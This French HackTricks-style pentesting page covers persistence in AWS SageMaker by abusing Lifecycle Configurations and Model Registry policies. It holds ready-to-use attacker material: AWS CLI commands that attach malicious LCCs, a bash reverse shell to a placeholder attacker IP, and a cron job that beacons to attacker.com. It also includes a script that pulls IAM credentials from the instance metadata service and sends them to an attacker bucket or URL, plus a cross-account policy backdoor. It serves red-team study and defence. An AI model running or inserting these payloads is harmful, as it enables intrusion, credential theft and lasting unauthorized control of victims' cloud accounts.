AWS - SageMaker Persistence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Vue d’ensemble des techniques de persistance

Cette section dĂ©crit des mĂ©thodes pour obtenir de la persistance dans SageMaker en abusant des Lifecycle Configurations (LCCs), y compris reverse shells, cron jobs, credential theft via IMDS, et SSH backdoors. Ces scripts s’exĂ©cutent avec l’IAM role de l’instance et peuvent persister aprĂšs des redĂ©marrages. La plupart des techniques requiĂšrent un accĂšs rĂ©seau sortant, mais l’utilisation de services sur le AWS control plane peut nĂ©anmoins permettre de rĂ©ussir si l’environnement est en ’VPC-only“ mode.

Tip

Remarque : SageMaker notebook instances sont essentiellement des instances EC2 gĂ©rĂ©es, configurĂ©es spĂ©cifiquement pour des charges de travail d’apprentissage automatique.

Autorisations requises

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Applications Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Configurer la Lifecycle Configuration sur les Notebook Instances

Exemples de commandes AWS CLI :

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Configurer une Lifecycle Configuration sur SageMaker Studio

Les Lifecycle Configurations peuvent ĂȘtre attachĂ©es Ă  plusieurs niveaux et Ă  diffĂ©rents types d’applications dans SageMaker Studio.

Niveau du domaine Studio (tous les utilisateurs)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space Niveau (Spaces individuels ou partagés)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Types de configurations du cycle de vie des applications Studio

Les configurations du cycle de vie peuvent ĂȘtre appliquĂ©es spĂ©cifiquement Ă  diffĂ©rents types d’applications SageMaker Studio :

  • JupyterServer: ExĂ©cute des scripts au dĂ©marrage du serveur Jupyter, idĂ©al pour des mĂ©canismes de persistance comme les reverse shells et les cron jobs.
  • KernelGateway: S’exĂ©cute au lancement de l’application kernel gateway, utile pour la configuration initiale ou un accĂšs persistant.
  • CodeEditor: S’applique au Code Editor (Code-OSS), permettant l’exĂ©cution de scripts au dĂ©marrage des sessions d’édition de code.

Exemple de commande pour chaque type :

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

CodeEditor

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Critical Info:

  • L’attachement de LCCs au niveau du domaine ou de l’espace impacte tous les utilisateurs ou applications dans le pĂ©rimĂštre.
  • NĂ©cessite des permissions Ă©levĂ©es (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — gĂ©nĂ©ralement plus faisable au niveau de l’espace qu’au niveau du domaine.
  • Des contrĂŽles au niveau rĂ©seau (p. ex., strict egress filtering) peuvent empĂȘcher les reverse shells rĂ©ussis ou la data exfiltration.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant disposant des permissions peut établir un reverse shell persistant.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence via Lifecycle Configuration

Un attaquant peut injecter des cron jobs via des scripts LCC, garantissant l’exĂ©cution pĂ©riodique de scripts ou commandes malveillants, permettant une persistence furtive.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Les configurations de lifecycle peuvent interroger l’Instance Metadata Service (IMDS) pour rĂ©cupĂ©rer des identifiants IAM et les exfiltrer vers un emplacement contrĂŽlĂ© par un attaquant.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistance via la politique basée sur la ressource du Model Registry (PutModelPackageGroupPolicy)

Abusez la politique basĂ©e sur la ressource d’un SageMaker Model Package Group pour accorder Ă  un principal externe des droits cross-account (p.ex., CreateModelPackage/Describe/List). Cela crĂ©e une porte dĂ©robĂ©e durable permettant de pousser des versions de modĂšle empoisonnĂ©es ou de lire les mĂ©tadonnĂ©es/artĂ©facts du modĂšle, mĂȘme si l’IAM user/role de l’attaquant dans le compte victime est supprimĂ©.

Required permissions

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Étapes (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Remarques

  • Pour une vraie backdoor cross-account, restreignez Resource Ă  l’ARN du groupe spĂ©cifique et utilisez l’ID de compte AWS de l’attacker dans Principal.
  • Pour un dĂ©ploiement cross-account de bout en bout ou des lectures d’artifacts, alignez les grants S3/ECR/KMS avec l’attacker account.

Impact

  • ContrĂŽle persistant cross-account d’un Model Registry group : l’attacker peut publier des versions de modĂšle malveillantes ou Ă©numĂ©rer/lire les mĂ©tadonnĂ©es des modĂšles mĂȘme aprĂšs que leurs entitĂ©s IAM ont Ă©tĂ© supprimĂ©es dans le victim account.

Backdoor cross-account du Model Registry Canvas (UpdateUserProfile.ModelRegisterSettings)

Exploiter les paramĂštres utilisateur de SageMaker Canvas pour rediriger silencieusement les Ă©critures du model registry vers un compte contrĂŽlĂ© par l’attacker en activant ModelRegisterSettings et en pointant CrossAccountModelRegisterRoleArn vers un attacker role dans un autre compte.

Permissions requises

  • sagemaker:UpdateUserProfile sur le UserProfile cible
  • Optionnel : sagemaker:CreateUserProfile sur un Domain que vous contrĂŽlez

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks